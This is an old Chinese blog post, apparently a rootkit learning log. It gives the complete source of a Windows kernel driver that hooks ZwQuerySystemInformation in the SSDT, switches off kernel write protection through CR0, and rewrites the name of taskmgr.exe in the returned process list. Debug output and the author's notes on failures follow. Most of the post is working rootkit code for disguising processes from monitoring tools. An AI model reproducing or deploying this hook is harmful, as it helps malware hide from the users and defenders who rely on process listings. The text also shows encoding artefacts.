|
Posted on 2009-10-26 19:10 S.l.e!ep.¢% 閱讀(342) 評論(0) 編輯 收藏 引用 所屬分類: RootKit
[資料] http://www.shnenglu.com/sleepwom/archive/2009/10/24/99375.html在 HOOK SSDT Hide Process (五)?? R3 已經(jīng)知道 ZwQuerySystemInformation 函數(shù)用來 enum 進程 那么現(xiàn)在看下 R0 的HOOK 函數(shù)實現(xiàn)先 從致是調(diào)用回 ntdll.dll? 中的 ZwQuerySystemInformation 函數(shù),取得返回值后,再把相關(guān)的數(shù)據(jù)過濾掉 編譯后運行有問題,于是乎對程序作了一下修改,主要改了 MyZwQuerySystemInformation 函數(shù) 在判斷到進程的名字是 taskmgr.exe 就把它改為 haha#include?"ssdthook.h"
#pragma??pack(1)
typedef?struct?_SSDT_TABLE { ??PVOID???ServiceTableBase; ??PULONG??ServiceCounterTableBase; ??ULONG???NumberOfService; ??ULONG???ParamTableBase; }SSDT_TABLE,*?PSSDT_TABLE; #pragma?pack()
struct?_SYSTEM_THREADS { ??LARGE_INTEGER???????????KernelTime; ??LARGE_INTEGER???????????UserTime; ??LARGE_INTEGER???????????CreateTime; ??ULONG???????????????????????????WaitTime; ??PVOID???????????????????????????StartAddress; ??CLIENT_ID???????????????????????ClientIs; ??KPRIORITY???????????????????????Priority; ??KPRIORITY???????????????????????BasePriority; ??ULONG???????????????????????????ContextSwitchCount; ??ULONG???????????????????????????ThreadState; ??KWAIT_REASON????????????WaitReason; };
//=================================================== struct?_SYSTEM_PROCESSES { ??ULONG???????????????????????????NextEntryDelta; ??ULONG???????????????????????????ThreadCount; ??ULONG???????????????????????????Reserved[6]; ??LARGE_INTEGER???????????CreateTime; ??LARGE_INTEGER???????????UserTime; ??LARGE_INTEGER???????????KernelTime; ??UNICODE_STRING??????????ProcessName; ??KPRIORITY???????????????????????BasePriority; ??ULONG???????????????????????????ProcessId; ??ULONG???????????????????????????InheritedFromProcessId; ??ULONG???????????????????????????HandleCount; ??ULONG???????????????????????????Reserved2[2]; ??VM_COUNTERS?????????????????????VmCounters; ??IO_COUNTERS?????????????????????IoCounters;?//windows?2000?only ??struct?_SYSTEM_THREADS??????????Threads[1]; };
struct?_SYSTEM_PROCESSOR_TIMES { ???LARGE_INTEGER??????????IdleTime; ???LARGE_INTEGER??????????KernelTime; ???LARGE_INTEGER??????????UserTime; ???LARGE_INTEGER??????????DpcTime; ???LARGE_INTEGER??????????InterruptTime; ???ULONG??????????????InterruptCount; };
//====================================================== typedef?NTSTATUS?(__stdcall?*ZWQUERYSYSTEMINFORMATION)( ???IN?ULONG?SystemInformationClass,? ???IN?PVOID?SystemInformation,? ???IN?ULONG?SystemInformationLength,? ???OUT?PULONG?ReturnLength);
NTSTATUS?MyZwQuerySystemInformation(? ???IN?ULONG?SystemInformationClass,? ???IN?PVOID?SystemInformation,? ???IN?ULONG?SystemInformationLength,? ???OUT?PULONG?ReturnLength);
//定義全局變量 extern?"C"?extern?PSSDT_TABLE??KeServiceDescriptorTable; ULONG??OldAddress; ZWQUERYSYSTEMINFORMATION????????OldZwQuerySystemInformation; PVOID?Base;
void?UnHook();
VOID?Unload?(IN?PDRIVER_OBJECT?pDriverObject)? { ????????KdPrint(("Enter?DriverUnload\n")); ????????UnHook();???//?mark
}
NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,? ????????????????????????????????????IN?PVOID?SystemInformation,? ????????????????????????????????????IN?ULONG?SystemInformationLength,? ????????????????????????????????????OUT?PULONG?ReturnLength)?//定義自己的Hook函數(shù) {? ???? ????NTSTATUS?rc;? ????UNICODE_STRING?process_name; ???? ????RtlInitUnicodeString(&process_name,?L"taskmgr.exe"); ???? ????rc?=?(OldZwQuerySystemInformation)?(? ????????SystemInformationClass,? ????????SystemInformation,? ????????SystemInformationLength,? ????????ReturnLength);? ???? ????if(NT_SUCCESS(rc))? ????{ ????????if(5?==?SystemInformationClass) ????????{? ????????????struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;? ???????????? ????????????while(curr) ????????????{ ????????????????if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1)) ????????????????{ ????????????????????????????????????????DbgPrint("before?%wZ\n",&process_name);? ????????????????????????????????????????RtlInitUnicodeString(&(curr->ProcessName),?L"haha");?????????????????????????????????????????? ????????????????????????????????????????DbgPrint("after?%wZ\n",&(curr->ProcessName));?
????????????????}?//?if?(RtlEqualUnicodeString(&process_name,?&curr->ProcessName,?1)) ????????????????
????????????????if(curr->NextEntryDelta) ????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);? ????????????????else? ????????????????????curr?=?NULL;
????????????}?//while(curr) ???????????? ????????}?//?if(5?==?SystemInformationClass) ???????? ????}//?if(NT_SUCCESS(rc)) ???? ????//?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully .?\n")); ????return?rc; }
VOID?Hook()
{
????????DbgPrint("Entry?Hook()\n"); ????????OldAddress?=(ULONG)KeServiceDescriptorTable->ServiceTableBase?+?4*0xAd;//用windbg反匯編查到zwquerysysteminformationde的ID號是0xADh ????????DbgPrint("KeServiceDescriptorTable->ServiceTableBase?is?:0x%0x\n",KeServiceDescriptorTable->ServiceTableBase); ????????//保存原來函數(shù)的地址 ????????OldZwQuerySystemInformation?=?(ZWQUERYSYSTEMINFORMATION)?*(ULONG?*)OldAddress; ????????DbgPrint("OldZwQuerySystemInformation?is?:0x%0x\n",?OldZwQuerySystemInformation); ????????DbgPrint("MyZwQuerySystemInformation?is?:0x%0x\n",?MyZwQuerySystemInformation); ???????? ????????//取消內(nèi)存寫保護 ????????_asm ????????{? ????????cli ????????mov??eax,cr0 ????????and??eax,not?10000h ????????mov??cr0,eax ????????}
????????*(ULONG*)OldAddress?=(ULONG)?MyZwQuerySystemInformation;???????//mark???MyZwQuerySystemInformation; ???????? ????????//還原內(nèi)存寫保護 ????????_asm ????????{ ????????mov??eax,cr0 ????????or???eax,10000h ????????mov??cr0,eax? ????????sti ????????} }
void?UnHook() { ??ULONG??Address;
??Address?=(ULONG)?KeServiceDescriptorTable->ServiceTableBase?+0xAD*4;
??__asm ??{ ????cli ????mov??eax,cr0 ????and??eax,not?10000h ????mov??cr0,eax ??}
??*(ULONG*)Address?=(ULONG)?OldZwQuerySystemInformation;
??__asm ??{?? ????mov??eax,cr0 ????or???eax,10000h ????mov??cr0,eax ????sti ??}
??DbgPrint("Unhook?leave!\n"); }
//========================驅(qū)動入口函數(shù) extern?"C"?NTSTATUS?DriverEntry(IN?PDRIVER_OBJECT??pDriverObject,?IN?PUNICODE_STRING??pRegistryPath) {
??DbgPrint("Entry?Hook?Function!\n"); ??pDriverObject->DriverUnload?=?Unload; ??Hook(); ??DbgPrint("Leave?DriverEntry!\n"); ??return?STATUS_SUCCESS; }? 運行后, 事與愿違, 并沒有顯示 haha, 而是顯示為空 用 DebugView 顯示調(diào)試信息 Entry?Hook?Function! Entry?Hook() KeServiceDescriptorTable->ServiceTableBase?is?:0x804e2d20 OldZwQuerySystemInformation?is?:0x8057cc27 MyZwQuerySystemInformation?is?:0xf8ed4080 Leave?DriverEntry! before?taskmgr.exe after?haha
Q:為何在 taskmgr.exe 中會顯示為空?疑問中 采用 HOOK SSDT Hide Process (五)??中的程序跟蹤發(fā)現(xiàn),taskmgr.exe 的 imagename.buffer 的地址居然是 0xb049480 這個地址顯然不是應(yīng)用層的地址,后果然后是不讓訪問了
于是改成用 memcpy
DbgPrint("before 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName)); //RtlInitUnicodeString(&(curr->ProcessName), L"fdsf"); memcpy(curr->ProcessName.Buffer, L"_root_", 12); DbgPrint("after 0x%X %d %wZ\n", &(curr->ProcessName), curr->ProcessName.Length, &(curr->ProcessName));
結(jié)果,運行成功 taskmgr.exe 的 imagename 被成功修改為 _root_r.exe
產(chǎn)生新的問題: Q:? RtlInitUnicodeString 對 UNICODE_STRING 賦值是會同時分配緩沖區(qū)的空間?這一點查了MSDN,沒看到有相關(guān)的說明 需要找時間去驗證下 A:? RtlInitUnicodeString() 這個函數(shù)它并不是直接去修改內(nèi)存,而是重新分配一段緩沖區(qū),而這段緩沖區(qū)在離開函數(shù)后就無效了 ??????而用戶傳進來的?SystemInformation 指針,是一段連續(xù)的內(nèi)存空間
Q:???用戶區(qū)傳進來的 SystemInformation 指針,是一段連續(xù)的內(nèi)存空間,也就是說, 如果修改了 IMAGENAME 的內(nèi)容,導(dǎo)致 原來 UNICODE_STRING.buffer 不足的話,那么需要把后面的 SystemInformation 都往后移?(這一點也需要找時間驗證下) 比較保險的做法是,先執(zhí)行系統(tǒng)的 ZwQuerySytemInformation 后,先把所有的 SystemInformation 都讀出來,然后再分別寫到 用戶傳進來的 SystemInformation? 緩沖區(qū)。 A: 這個嘗試過,不過藍屏,需要找時間再仔細研究下
|